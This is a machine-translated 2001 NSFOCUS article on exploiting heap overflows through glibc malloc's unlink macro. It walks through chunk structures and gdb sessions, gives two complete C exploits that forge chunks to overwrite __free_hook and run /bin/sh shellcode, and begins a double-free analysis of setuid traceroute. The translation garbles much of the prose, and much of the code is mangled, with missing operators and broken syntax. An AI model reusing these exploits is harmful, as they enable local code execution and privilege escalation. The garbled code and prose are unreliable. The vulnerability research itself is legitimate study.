[Analysis] A new HEAP area overflow technology analysis

xiaoxiao2021-03-06  22

◆ A new HEAP area overflow technology analysis

Author: warning3

Home: http://www.nsfocus.com/

Date: 2001-3-09

★ Foreword

The usual Heap area overflow can only be used to overwrite some function pointers, jumpbuf or important variables.

Complete the attack. For this content, please refer to the

http://magazine.nsfocus.com/detail.asp?id=353

If there are no such conditions in the system, although an attack can still be difficult to perform his code.

Here is a method of attacking using Malloc / Realloc / Free. This approach makes Heap

The possibility of attacks has greatly increased.

Note: All the code below is passed under Redhat 6.1 (x86) Linux system. (GLIBC-2.1.3-21)

★ directory

Simple introduction

2. A simple example

3. Basic concepts of Malloc / Calloc / Realloc / Free

4. Two possible attack methods

5. Two demo procedures for weaknesses

6. Example: Traceroute "-g" problem

★ body

Simple introduction

Use malloc () or calloc () to dynamically assign a period of memory and return a memory to the user.

Site, and in fact, there is usually an internal structure of 8 bytes in front of this address, used to record the length of the assigned block.

And some symbols. If the content of these structures is overwritten, in some Malloc implementation, it may result

The attacker writes any data to an arbitrary memory address, which may change the program to perform the flow direction.

So execute any code.

2. A simple example

Let's take a simple example, this is a very typical HEAP overflow problem. Part

With two memory, then copy some of the data, because the data length is not checked,

Born.

/ * A Simple Vulnerable Program for Malloc / Free Test - Vul.c

* By warning3@nsfocus.com (http://www.nsfocus.com)

* 2001/03/05

* /

#include

int

Main (int Argc, char * argv [])

{

CHAR * BUF, * BUF1;

BUF = malloc (16); / * Assign two 16-byte memory * /

BUF1 = Malloc (16);

IF (Argc> 1)

Memcpy (buf, Argv [1], Strlen (Argv [1])); / * Spill * /

Printf ("% # p [buf] (% .2D):% S / N", BUF, STRLEN (BUF), BUF)

Printf ("% # p [buf1] (% .2d):% S / N", BUF1, STRLEN (BUF1), BUF1);

Printf ("from buf to buf1:% d / n / n", buf1 - buf);

Printf ("Before Free Buf / N");

Free (buf); / * Release buf * /

Printf ("Before Free BUF1 / N");

Free (buf1); / * Release buf1 * /

Return 0;

} / * End of main * /

Let's take a look at the results now:

[WARNING3 @ redhat-6 malloc] $ gcc -o vul vul.c -g [Warning3 @ redhat-6 malloc] $ ./vul `perl -e 'print" a "x16'`

0x8049768 [BUF] (16): Aaaaaaaaaaaaaaaa <- everything is normal

0x8049780 [buf1] (00):

From buf to buf1: 24 <- Two buffers differ between 16 8 = 24 bytes

Before Free Buf

Before Free BUF1

[Warning3 @ redhat-6 malloc] $ ./vul `perl -e 'print" A "x20'`

0x8049768 [buf] (21): AAAAAAAAAAAAAAAAAAAA <- 21 bytes is why ??

0x8049780 [buf1] (00): <- The overflowed data has not yet entered the BUF1 "domestic"

From Buf to BUF1: 24

Before Free Buf

Before Free BUF1

[Warning3 @ redhat-6 malloc] $ ./vul `perl -e 'print" A "x21'`

0x8049768 [buf] (21): AAAAAAAAAAAAAAAAAAAAA <- The number of bytes of the

0x8049780 [buf1] (00):

From Buf to BUF1: 24

Before Free Buf

Segmentation Fault (Core Dumped) <- There is a lovely paragraph error.

<- "Before Free BUF1" did not appear? Description Segment error occurs when FREE (BUF) is executed

[Warning3 @ redhat-6 malloc] $ ./vul `perl -e 'print" A "x28'`

0x8049768 [buf] (28): AAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x8049780 [buf1] (04): AAAA <- this time reaching the overflow of data considered buf1 "territory"

From Buf to BUF1: 24

Before Free Buf

Segmentation Fault (Core Dumped)

It seems that this paragraph error is not enough to let us perform his code, because it is not covered.

The function pointer does not have any variable or structure that can be used, and it is not necessary to return the address. Don't worry, pick up

I will tell you how to use free () to get our shell. Before the official start, I must first

Tell the basic concept of Malloc / Calloc / Realloc / Free.

3. Basic concepts of Malloc / Calloc / Realloc / Free

malloc / calloc / realloc / free of these functions, is used to allocate or release the dynamic memory.

At present, many Linux system using malloc implementation (including libc5 and glibc) are completed by Doug Lea

of. The following is the implementation of this version.

See these function prototypes as follows from Linux's MAN Manual Malloc (3):

Void * Calloc (size_t nmemb, size_t size);

Void * malloc (size_t size);

Void Free (Void * PTR);

Void * Realloc (void * ptr, size_t size); calloc () is used to assign NMEMB Size size memory blocks and return an available memory address.

It will automatically clear all the memory blocks.

Malloc () is used to assign the SIZE size memory block and return a available memory address.

Free () releases the memory pointed to by the PTR.

Realloc () is used to change the size of a piece of memory to PTR to Size.

We need to pay attention to the free () and realloc () functions. They are all dangerous functions, if

The memory pointed by the address pointer PTR is already released, or is not from a malloc class function.

If you are allocated, you may have an unpredictable situation. What we have to use, that is, these "unpredictable

The case of materials.

Because Calloc () and malloc () are not very different, it is actually called the chunk_alloc () function.

The assignment is only called a macro malloc_zero finally calls the assignment.

The memory block is cleared. Therefore, unless otherwise stated, we only take malloc () as an example.

Malloc () defines an internal structure Malloc_chunk to define memory blocks that malloc allocated or released.

Struct Malloc_chunk

{

INTERNAL_SIZE_T PREV_SIZE; / * SIZE OF Previous Chunk (if Free). * /

INTERNAL_SIZE_T SIZE; / * SIZE IN BYTES, INCLUDING OVERHEAD. * /

Struct Malloc_chunk * fd; / * double links - use only if free. * /

Struct malloc_chunk * bk;

}

Prev_size is the size of the previous block, only filled with the last block.

Size is the size of the current block, which includes the size of Prev_Size and Size members (8 bytes)

FD is a forward pointer to the two-way linked list, pointing to the next block. This member is only used in idle blocks

BK is a backward pointer of the two-way linked list, pointing to a block. This member is only used in idle blocks

For allocated memory, in addition to the distribution of the user specified size memory space, it is also increasing in front.

The first two members (8-bytes) of the Malloc_chunk structure. The allocated memory structure is shown below:

0 16 32

CHUNK-> - - - - - - - - - - -

| The number of bytes of the last block (if the previous block is idle) | | |

- - - - - - - - - - - - - - - -

| The number of bytes of the current block (size) | M | P |

MEM-> - - - - - - - - - - - - - - - - - | User data begins ...

.

The user can use the space size).

. |

Nextchunk-> - - - - - - - - - - - - - -

Here the CHUNK pointer is malloc () internally, but the MEM pointer is returned to the user (CHUNK

8), in fact, to hide an internal structure to the user. That is, if the user needs to assign a size byte

Memory, actually assigns at least Size 8 bytes, but the user can use the size byte (here you don't take

Considering the problem of problem). Nextchunk points to the next memory block.

For idle (or released) blocks, it is stored in a two-way loop chain list (see above)

Malloc_chunk structure.

The distribution in memory is basically shown below:

0 16 32

CHUNK-> - - - - - - - - - - -

| The number of bytes of the last block (prev_size) |

- - - - - - - - - - - - - - - -

`Head: '| Current block of the number of bytes (size) | M | P |

MEM-> - - - - - - - - - - - - - - | Front pointer (pointing to the next block in the list) |

- - - - - - - - - - - - - - - -

| Rear pointer (pointing to the previous block in the list) |

- - - - - - - - - - - - - - - -

| The space that is not used in bidirectional linked list (may also be 0 bytes long).

.

. |

Nextchunk-> - - - - - - - - - - - - - -

`Foot: '| The number of bytes of the previous block (equal to chunk-> size) |

- - - - - - - - - - - - - - - -

Everyone may have a "P" sign in two tables, it is "Current Block Byro" (CHUNK-> Size)

The lowest one in the middle indicates whether the last piece is being used. If the P position is one, it means that the previous piece is being

Use, then chunk-> prev_size is usually zero; if the P bit is clear, it means that the previous piece is an idle block.

This is chunk-> prev_size, will populate the length of the previous piece.

The "M" bit is that this memory block is assigned by mmap (), if one, is assigned by mmap (),

So released by Munmap_chunk () during release; otherwise, when released by chunk_free ().

These two signs are defined as: #define prev_inuse 0x1

#define is_mmapped 0x2

Since the Malloc implementation is 8-byte alignment, the low 3 bits of Size will always be used, so in the actual

Calculate Chunk size, to remove the flag. E.g:

#define chunksize (p) ((p) -> SIZE & ~ (SIZE_BITS))

The length of Malloc minimally assigned is at least 16 bytes, such as Malloc (0). (The length mentioned above means

CHUNK length)

Understand these basic concepts, let's take a look at FREE (MEM):

First convert MEM to Chunk (MEM-8), and call chunk_free () to release the memory block referred to in Chunk.

The program will then check the memory blocks of their neighbors (including front and rear):

If it is an idle block, remove the adjacent block from the linked list, then these adjacent empty

Legacy combined;

If it is not an idle block, just set up a neighboring block of Prev_Size and Size.

Prev_inuse flag).

Finally, the resulting idle block is added to the two-way linked list.

When unlink operation is performed, it is actually a deletion of a linked list node.

For example, if you want to remove the Chunk node from the list, you have to do it:

Chunk0-> fd <== chunk-> fd

Chunk1-> bk <== chunk-> bk

As follows:

Chunk0 Chunk Chunk1

---------------------------------------------- .. ----------------------

| prev_size | size | * fd | * bk | | prev_size | size | * fd | * bk | | prev_size | size | * fd | * bk |

-------------- ^ ----- .. -------------- - .. ------------------ ^ -

| ________________________ | | ________________________ |

The Malloc implementation is a unlink macro to complete this operation, defined as follows:

/ * take a chunk off a list * /

#define unlink (p, bk, fd) /

{/

BK = P-> BK; /

FD = P-> fd; /

FD-> BK = BK; /

BK-> fd = fd; /}

Did you find it? There are two write memory operations. If we can cover Chunk-> FD and Chunk-> BK

If you say, chunk-> fd will write (chunk-> bk 8) this address, and chunk-> BK will be

Write (chunk-> fd 12) this address! In other words, we can write any 4 bytes to arbitrary

One memory address is going! ! We may change the process of the program, such as the overlay function returns the address,

Cover the PLT entry, .dtor structure, etc. Is this not what we want?

Free () and realloc () have unlink operations, so we have to do it to find ways to use appropriate

Value to cover * fd and * bk in the idle block structure, and let UNLINK can perform.

Let's go back to the beginning of the question, look at how to attack it.

4. Two possible attack methods

Let's take a look at how the weakness is wrong:

[Warning3 @ redhat-6 malloc] $ gdb ./vul -q

(GDB) B main

Breakpoint 1 at 0x80484a6: file Vul.c, line 10.

(GDB) R `perl -e 'print" a "x21'`

Starting Program: /Home/Warning3/malloc/./vul `perl -e 'print" a "x20'`

Breakpoint 1, Main (Argc = 3, Argv = 0xBfffFFFCD4) AT VUL.C: 10

10 buf = malloc (16); / * Assign two 16-byte memory * /

(GDB) N

11 buf1 = malloc (16);

(GDB) P / x buf

$ 1 = 0x8049768

(GDB) X / 20X BUF-8

0x8049760: P: 0x00000000 0x00000019 BUF: 0x00000000 0x00000000

0x8049770: 0x00000000 0x00000000 * 0x00000000 # 0x00000889

0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000

0x80497A0: 0x00000000 0x00000000 0x00000000 0x00000000

[p represents the internal pointer of the memory block]

[Note the place to add *, the beginning of the beginning is the TOP node in the list, and it is its length at the # number]

(GDB) P / X * (BUF-4) <--- The size of the current block is stored here, set the prev_inuse bit

$ 3 = 0x19

(GDB) P / X * (BUF-4) & ~ 0x1 <- Calculate the actual length: 0x18 = 0x10 0x8

$ 4 = 0x18

(GDB) N

13 IF (Argc> 1)

(GDB) P / X BUF1 <- Assign second memory

$ 5 = 0x8049780

(GDB) X / 20X BUF-80X8049760: P: 0x00000000 0x00000019 BUF: 0x00000000 0x00000000

0x8049770: 0x00000000 0x00000000 P1: 0x00000000 0x00000019

0x8049780: BUF1: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049790: * 0x00000000 # 0x00000871 0x00000000 0x00000000

0x80497A0: 0x00000000 0x00000000 0x00000000 0x00000000

[P1 indicates the internal pointer of the memory block]

[We saw the 0x18 bytes after the TOP node, the length is also reduced by 0x18 bytes]

(GDB) N

13 IF (Argc> 1)

(GDB) N

14 Memcpy (BUF, Argv [1], Strlen (Argv [1])); / * Snaps here * /

(GDB) N

16 Printf ("% # p [buf] (% .2D):% S / N", BUF, STRLEN (BUF), BUF)

(GDB) X / 20X BUF-8

0x8049760: P: 0x00000000 0x00000019 BUF: 0x41414141 0x41414141

0x8049770: 0x41414141 0x41414141 P1: 0X41414141 0X00000019

0x8049780: BUF1: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000

0x80497A0: 0x00000000 0x00000000 0x00000000 0x00000000

[The 20 bytes fill in have been overflow, and override to the internal structure of the second memory block P1-> prev_size]

[The next byte 0x19 is the length of the P1 block, so the length of Strlen (BUF) is calculated below is]

[21. Now you should understand the answer to the beginning of the beginning]

(GDB) C

Continuing.

0x8049768 [BUF] (21): Aaaaaaaaaaaaaaaaaaa

0x8049780 [buf1] (00):

From Buf to BUF1: 24

Before Free Buf

Before Free BUF1

Due to the above case, the size portion of the P1 is not covered, so the system considers the blocks before and after BUF.

It is idle, so there will be no unlink operation, and there will be no paragraph error. If we add

Add a few bytes, it is not so "lucky".

(GDB) B 14

BreakPoint 1 at 0x80484ca: file vul.c, line 14.

(GDB) R `perl -e 'print" a "x24'`

Starting Program: /Home/Warning3/malloc/./vul `perl -e 'print" a "x24'`

Breakpoint 1, Main (Argc = 2, Argv = 0xBffff Ce4) AT VUL.C: 1414 Memcpy (BUF, Argv [1], Strlen (Argv [1])); / * Spill * /

(GDB) X / 20X BUF-8

0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000

0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019

0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000

0x80497A0: 0x00000000 0x00000000 0x00000000 0x00000000

(GDB) N

16 Printf ("% # p [buf] (% .2D):% S / N", BUF, STRLEN (BUF), BUF)

(GDB) X / 20X BUF-8

0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141

0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141

0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000

0x80497A0: 0x00000000 0x00000000 0x00000000 0x00000000

(GDB) B 21 <- At this time, the internal structure of BUF1 (prev_size and size) have been overwritten.

BreakPoint 2 AT 0x804855E: File Vul.c, line 21.

(GDB) C

Continuing.

0x8049768 [buf] (24): AAAAAAAAAAAAAAAAAAAAAAAA

0x8049780 [buf1] (00):

From Buf to BUF1: 24

Before Free Buf

Breakpoint 2, Main (Argc = 2, Argv = 0xBfffff Ce4) at Vul.c: 21

21 Free (buf); / * Release buf * /

(GDB) C

Continuing.

Program received Signal SigSegv, Segmentation Fault.

0x400740c4 in chunk_free (ar_ptr = 0x40108d40, p = 0x8049760) at malloc.c: 3100

3100 malloc.c: no such file or directory.

(GDB) X / I $ PC

0x400740c4 : TestB $ 0x1, 0x4 (% ECX,% ESI, 1)

(GDB) I R $ ECX

ECX 0x41414140 1094795584 <- This is the length of the block of P1 after cover

(GDB) I R $ esiesi 0x8049778 134518648 <- This is the address of P1

Let's see how Free () works in order to determine wherever it happens. note

The following code has made some simplification:

Void Free (void_t * MEM)

{

...

(a) if (chunk_is_mmapped (p)) / * If the is_mmapped bit is set, call MunMap_chunk () * /

{

Munmap_chunk (p);

Return;

}

...

P = MEM2CHUNK (MEM); / * Convert user addresses into internal addresses: P = MEM - 8 * /

...

Chunk_free (ar_ptr, p);

}

Static void

INTERNAL_FUNCTION

Chunk_free (Arena * Ar_Ptr, MCHUNKPTR P)

{

INTERNAL_SIZE_T HD = P-> size; / * HD is the current block address * /

INTERNAL_SIZE_T SZ; / * Current block size * /

INTERNAL_SIZE_T NEXTSZ; / * Next block size * /

INTERNAL_SIZE_T PREVSZ; / * On a block size * /

...

Check_inuse_chunk (ar_ptr, p);

SZ = HD & ~ prev_inuse; / * Get the true size of the current block * /

Next = chunk_at_offset (p, sz); / * Get the address of the next block * /

Nextsz = chunksize (next); / * Get the true size of the next block

* #define chunksize (p) ((p) -> Size & ~ (size_bits))

* /

IF (next == TOP (ar_ptr)) / * If the next block is the header node, the merge with it * /

{

SZ = NextSZ;

(b) if (! (! (! (! (! (! (HD & prev_inuse)) / * If the previous block is idle, the merge with it * /

{

Prevsz = P-> prev_size;

P = chunk_at_offset (p, -prevsz);

SZ = Prevsz;

Unlink (P, BCK, FWD); / * Remove the previous node from the list * /

}

Set_head (p, sz | prev_inuse);

TOP (ar_ptr) = P;

.....

}

/ * If the next block is not a head knot * /

(b) if (! (! (! (! (! (! (HD & prev_inuse)) / * If the previous block is idle, the merge with it * /

{

Prevsz = P-> prev_size;

P = chunk_at_offset (p, -prevsz);

SZ = Prevsz;

IF (P-> fd == last_remainder (ar_ptr)) / * Keep As Last_RemaInder * /

ISLR = 1;

Else

Unlink (P, BCK, FWD); / * Remove the previous node from the list * /

}

/ * According to my judgment, the programs just have occurred when performing this check. * /

(c) IF (! (inUse_bit_at_offset)) / * If the next block is idle, the merge with it * /

{

SZ = NextSZ;

IF (! islr && next-> fd == last_remainder (ar_ptr)) / * re-insert last_remainder * /

{

ISLR = 1;

LINK_LAST_REMAINDER (Ar_PTR, P);

}

Else

Unlink (Next, BCK, FWD); / * Delete the next node from the list * /

Next = chunk_at_offset (p, sz);

}

Else

Set_head (next, nextsz); / * If the two blocks are not idle before and after, the next block of SIZE

PREV_INUSE bit clear * /

Set_head (p, sz | prev_inuse);

Next-> prev_size = sz; / * Fill the prev_size portion of the next block into the size of the current block * /

IF (! islr)

FrontLink (Ar_PTR, P, SZ, IDX, BCK, FWD); / * Insert the current block into the idle block list * /

.....

}

We saw that there were 3 places in this place called unlink. If you want to perform them, you need to meet the following conditions:

1. (a) The IS_MMAPped bit of the current block must be cleared, otherwise chunk_free () will not be performed.

2. (b) The last piece is an empty block (current block size's prev_inuse bit is clear)

or

(c) The next block is an empty block (down next block (p-> next-> next) size's prev_inuse bit clear zero)

When our weaknesses have overflow, the internal structure of the next block can be overwritten, but it cannot be modified.

The internal structure of the block is therefore not satisfied. We can only help the conditions (c).

The next block of the next block is actually calculated from the data of the next block, so it is

You can completely control the data of the next block, you can let the down the next block's prev_inuse bit is zero.

This will think that the next block is empty. Suppose the current block is block 1, the next block is block 2,

The next block is block 3, as shown below:

Block 1 2 forged block 3

---------------------------------- . . -----------------------

| prev_size | size | 16bytes | prev_size2 | size2 | fd2 | bk2 | | prev_size3 | size3 | Arbitrary Data |

---------------------------------- . . -----------------------

| | | | |

| -> P | -> Next | -> Next2Next

Next = p (Size & ~ Prev_inuse)

Next2Next = NEXT (Size2 & ~ (prev_inuse | is_mmapped))

Therefore, as long as we can modify SIZE2, next2next points to an address we control.

We fake a block 3 in this address, so that the prev_inuse of this block is zero!

Then, fill in the address to be overwritten, such as the function returns an address, and the like. Solar Designer recommends using the address of __free_hook (), which will perform our code when free () next time.

At BK2, you can fill in the address of the shellcode.

The structure of block 2 is as follows:

Prev_size2 = 0x11223344 / * You can use any value * /

SIZE2 = (Next2Next - Next) / * This value must be a multiple of 4 * /

FD2 = __free_hook - 12 / * The shellcode address is just override to __free_hook address * /

BK2 = shellcode / * This will cause the FD2 to be written to the shellcode 8 address, so

Place a jump statement in front of Shellcode to skip FD2 * /

The forged block 3 requires very low, just need to make the last bit of SIZE3 to 0:

Prev_size3 = 0x11223344 / * You can use any value * /

Size3 = 0xfffffffff & ~ prev_inuse / * 0xffffffffff here You can replace * /

This fake block can be placed in any possible position, such as front or behind the block 2. If you want to put it

The block 2 is behind, since Size2 is 4 bytes, if the distance is relatively small, SIZE2 is certain

To include zero bytes, this will interrupt the data copy, so the distance must be far enough, so that all four bytes

Not zero, the stack segment is a good choice, we can also accurate by setting the environment variables.

Get the address of block 3.

If we want to put the block 3 in front of the block 2, Size2 is a negative value, usually 0xffffffxx, etc.

Wait. This will definitely satisfy the requirements of Size2 not zero, in addition, this distance we can also specify very accurately.

So we decided to adopt this method.

Block 1 (block 3) block 2

----------------------------------- ---------------

| prev_size | size | ....... | 0x11223344 | Size3 | prev_size2 | Size2 | FD2 | BK2 |

----------------------------------- ---------------

| | <---- 8 bytes -> |

| | |

| <----- 16 bytes --------> |

On the above figure, we put the 8-byte internal structure of the block 3 in the user data area of ​​block 1, and

The user data area of ​​block 3 is actually starting from block 2. But since we don't care about block 3 PREV

_Size and data segment, and the prev_size of block 2 doesn't care, we can also have a more simplified

Version: Move the block 3 to the right, so that Siez3 is coincident with Prev_Size2!

| Block 1 | .... block 3 .. | Block 2 |

----------------------------------- ---------------

| prev_size | size | ......... | 0x11223344 | prev_size2 | size2 | fd2 | bk2 |

----------------------------------- ---------------

| | <- 4 bytes -> | (size3)

| | |

| <----- 16 bytes --------> |

This next2Next - next = -4 = 0xffffffc. The block 2 can be reconscribed:

Prev_size2 = 0x11223344 & ~ prev_inuse / * We use the original size3 instead * /

Size2 = 0xfffffffff / * Length is -4 * /

FD2 = __free_hook - 12 / * The shellcode address is just override to __free_hook address * /

BK2 = shellcode

As for the prev_size3 of block 3, we don't care, so it does not need to be specially constructed. Thus,

Our work is greatly simplified, just constructing a block 2!

Now let's see what we have to do:

i. Use 32-byte data templates, the first 16 bytes are any non-zero value, and the last 16-byte is our forged

Block 2

Ii. Find the address of __free_hook. This can be easily tracked through GDB

$ [Warning3 @ redhat-6 malloc] $ gdb ./vul -e

(GDB) B main

Breakpoint 1 at 0x80484a6: file Vul.c, line 10.

(GDB) R

Starting program: /Home/warning3/malloc/./vul

Breakpoint 1, Main (argc = 1, argv = 0xBffffcf4) at Vul.c: 10

10 buf = malloc (16); / * Assign two 16-byte memory * /

(GDB) P / X & __Free_hook

$ 2 = 0x401091B8

Iii. Determine the address of the shellcode. And to add a jump code in front of Shellcode, so that

Skip a malloc_chunk structure, because (__free_hook-12) This value will be written

Shellcode 8.

------ -------------------------------------

| JMP 0x0A | NOPNOP ... NOPNOPNOPNOP | Normal shellcode |

------ -------------------------------------

| <---- 10 bytes ----> |

5. A demo program

Below we can write overflow programs, actually quite simple:

/ * EXPLOIT for free () with unlinking next chunk - ex.c

* By warning3@nsfocus.com (http://www.nsfocus.com)

* 2001/03/06

* /

#include

#include

#define __free_hook 0x401091b8 / * __free_hook () address * /

#define vulprog "./vul"

#define prev_inuse 0x1

#define is_mmapped 0x2char shellcode [] =

"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90" / * This section is to skip the spam * /

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Main (int Argc, char ** argv)

{

Unsigned int codeaddr = 0;

Char BUF [128], FAKE_CHUNK [16];

Char * ENV [2];

Unsigned int * PTR;

/ * Calculate the address of shellcode in the stack * /

CodeAddr = 0xc0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1);

ENV [0] = shellcode;

ENV [1] = NULL;

/ * Forgery a block structure * /

PTR = (unsigned int *) fake_chunk;

* PTR = 0x11223344 & ~ prev_inuse; / * Clear the prev_inuse bit * /

/ * Set the length to -4, this value should be a multiple of 4 * /

* PTR = 0xfffffffc;

* PTR = __free_hook - 12;

* PTR = CodeAddr;

Bzero (BUF, 128);

MEMSET (BUF, 'A', 16); / * Fill useless data * /

Memcpy (buf 16, fake_chunk, sizeof (fake_chunk));

EXECLE (Vulprog, Vulprog, BUF, NULL, ENV);

} / * End of main * /

Run a look:

[WARNING3 @ redhat-6 malloc] $ GCC -O EX EX EX EX EX EX EX

[WARNING3 @ redhat-6 malloc] $ ./ex

0x8049768 [buf] (32): AAAAAAAAAAAAAAAAA?  瑧 @? ?

0x8049780 [buf1] (08): 瑧 @? ?

From Buf to BUF1: 24

Before Free Buf

Before Free BUF1

Bash $ <--- successful !!

Is not it simple? :-)

Section:

Now we summarize the basic steps of using free (MEM) to attack. Suppose Chunk is inside the block

Structural pointer (chunk = MEM - 8).

We have two ways:

1. If we want to attack the previous Unlink, we need to guarantee:

I. chunk-> size is zero

Ii. Chunk-> size's prev_inuse bit is zero

Iii. Chunk chunk-> prev_size points to a forged block structure we control;

IV. Constructs a pseud block in a certain location

2. If you want to use the UNLINK of the next block, you need to guarantee:

I. chunk-> size is zero

Ii. Chunk-> size of the prev_inuse bit is a III. Chunk NextSz points to a forged block structure we control.

(NextSZ = chunk-> size & ~ (prev_inuse | is_mmapped))

IV. Constructs a pseud block in a certain location

The structure of the fake block (fake_chunk) is as follows:

FAKE_CHUNK [0] = 0x11223344 & ~ prev_inuse (meaning only in the second case)

FAKE_CHUNK [4] = 0xffffffffc | (prev_inuse | is_mmapped); (meaning only in the second case)

FAKE_CHUNK [8] = objaddr - 12; (Objaddr is the target address to be overwritten)

FAKE_CHUNK [12] = shellcodeaddr; (shellcodeAddr is the address of shellcode)

As for which method is specifically used, it is necessary to determine according to the actual situation. For example, if you can't control

Chunk-> prev_size makes it point to our pseudo block, so you can't use the first method.

Let's take a look at an example of attacking the unlink of the previous piece, just put the free (buf1) of the weak program.

FREE (BUF), so that our BUF1 we ​​can control the memory block we can control.

The changed Vul.c is as follows:

...

Printf ("Before Free BUF1 / N");

Free (buf1); / * Release buf1 * /

Printf ("Before Free Buf / N");

Free (buf); / * Release buf * /

...

Take a look at our new demo:

/ * EXPLOIT for Free () with unlinking previous chunk - ex1.c

* By warning3@nsfocus.com (http://www.nsfocus.com)

* 2001/03/06

* /

#include

#include

#define __free_hook 0x401091b8 / * __free_hook () address * /

#define vulprog "./vul"

#define prev_inuse 0x1

#define is_mmapped 0x2

Char shellcode [] =

"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90" / * This section is to skip the spam * /

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Main (int Argc, char ** argv)

{

Unsigned int codeaddr = 0;

Char BUF [128], FAKE_CHUNK [16];

Char * ENV [2];

Unsigned int * PTR;

/ * Calculate the address of shellcode in the stack * /

CodeAddr = 0xC0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1); ENV [0] = shellcode;

ENV [1] = NULL;

/ * Forge a block structure. * /

PTR = (unsigned int *) fake_chunk;

* PTR = 0x11223344 & ~ prev_inuse;

* PTR = 0xfffffffc;

* PTR = __free_hook - 12;

* PTR = CodeAddr;

Bzero (BUF, 128);

MEMSET (BUF, 'A', 16);

PTR = (unsigned int *) (BUF 16);

/ * Let prev_size equal to -8 to point to our forged block. Meet III bars * /

* PTR = 0xffffffff8;

/ * As long as NEXT and NEXT-> SIZE can be accessed. So let the size equal to -4,

* If you want to be positive, you must find a valid value in the stack, but also calculate the offset, too much trouble.

* At the same time, you have to clear two tags. Meet I., II.

* /

* PTR = 0xfffffffc & ~ (prev_inuse | is_mmapped);

/ * Put the fake block in the determined position. Meet the article IV * /

Memcpy (buf 16 8, fake_chunk, sizeof (fake_chunk));

EXECLE (Vulprog, Vulprog, BUF, NULL, ENV);

} / * End of main * /

Let's test again:

[WARNING3 @ redhat-6 malloc] $ GCC -O EX1 EX1.C

[Warning3 @ redhat-6 malloc] $ ./ex1

0x8049768 [buf] (40): AAAAAAAAAAAAAAAA? ? d3 " 瑧 @? ?

0x8049780 [buf1] (16): D3 " 瑧 @? ?

From Buf to BUF1: 24

Before Free BUF1 <- Release BUF1 first

Before Free Buf

Bash $ exit

6. Example: Traceroute "-g" problem

With the above demonstration. Let's take another example of a real world.

Traceroute is a tool for checking the route to the target network, many UNIX systems

Installed this software. Since Traceroute needs to manipulate the original socket, it is usually set to setuid

root property. LBNL 1.4A5 version of Traceroute (lbnl = lawrence Berkeley National

Laboratory) There is a security vulnerability that can be used by an attacker to illegally obtain root privileges.

This vulnerability is mainly due to the free () function error to release a released memory.

First let's take a look at the vulnerability of Traceroute. Traceroute uses a SAVESTR () function, it

In SaveStr.c, its role is similar to strDup () to copy a string. It will automatically call malloc () points

With a larger memory space, and record the size of the remaining space after the completion. If the user is called next time

When SaveStr (), the memory required is still small than the remaining space, no malloc (), but directly from the assigned empty

An address is returned in the room, which reduces the number of call malloc (). However, this gives the user when it is necessary to release the allocated memory brought trouble. There is not careful consideration in Traceroute, but saves SaveStr (), etc.

With strDup (), each time the SaveStr () will always call the free () function to release the memory. therefore,

When the SaveStr () is called the second time, the memory released by Free () is actually an unallocated memory (because

This memory has been released by the first free ()!

The following is the code of fade Avestr ():

<...>

/ * A replacement for strdup () That cuts down on malloc () Overhead * /

Char *

SaveStr (Register Const Char * STR)

{

Register U_INT SIZE;

Register char * p;

Static char * strptr = null;

STATIC u_int strsize = 0;

SIZE = Strlen (STR) 1;

IF (Size> strsize) {

STRSIZE = 1024;

STRSIZE

STRSIZE = Size;

/ * Only Size> strsize is called Malloc * /

Strptr = (char *) malloc (strsize);

IF (strptr == null) {

FPRINTF (stderr, "savestr: malloc / n");

Exit (1);

}

}

(void) STRCPY (STRPTR, STR);

P = strptr;

Strptr = size;

STRSIZE - = Size;

Return (P);

}

<...>

Let's take a look at SaveStr () twice:

<1>. P = savestr (s)

Suppose the string S length is L (L <1024), then call SaveStr (), which will allocate 1024

Belt length buffer to store S:

| <----------------------- 1024 BYTES --------------------> |

------------------------------------------------------------------------------------------------------------------------------------------------------ --------

| S [0] s [1] ... S [L-1] / 0 | JUNK |

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------

^ ^

| __P | ___ strptr

At this time, the remaining space strsize is: (1024 - L - 1)

Strptr point to the beginning of JUNK

<2>. Free (p)

The first free () will release this buffer (1024 bytes) pointing, which will put some data in slow

The beginning of the shroud

| <----------------------- 1024 BYTES --------------------> |

----- -------------------------------------------------------------------------------------------------------------------------------- --------

| JUNK1 | S [K] ... S [L-1] / 0 | JUNK | ------- ------------------ --------------------------

^

| ___ Strptr

At this time, the 1024-byte size buffer pointed to the P is already released.

<3>. P = savestr (t)

When SaveStr () is called for the second time, if the length of the string T is less than STRSIZE (1024-L -1),

So SaveStr () will not call Malloc () allocate new memory again, but call directly:

....

(void) STRCPY (STRPTR, STR);

P = strptr;

Strptr = size;

STRSIZE - = Size;

Return (P);

....

Copy the string T to JUNK's starting place, and actually, this memory has been released!

The result of the copy is as follows:

| <----------------------- 1024 BYTES --------------------> |

----- -------------------------------------------------------------------------------------------------------------------------------- -----

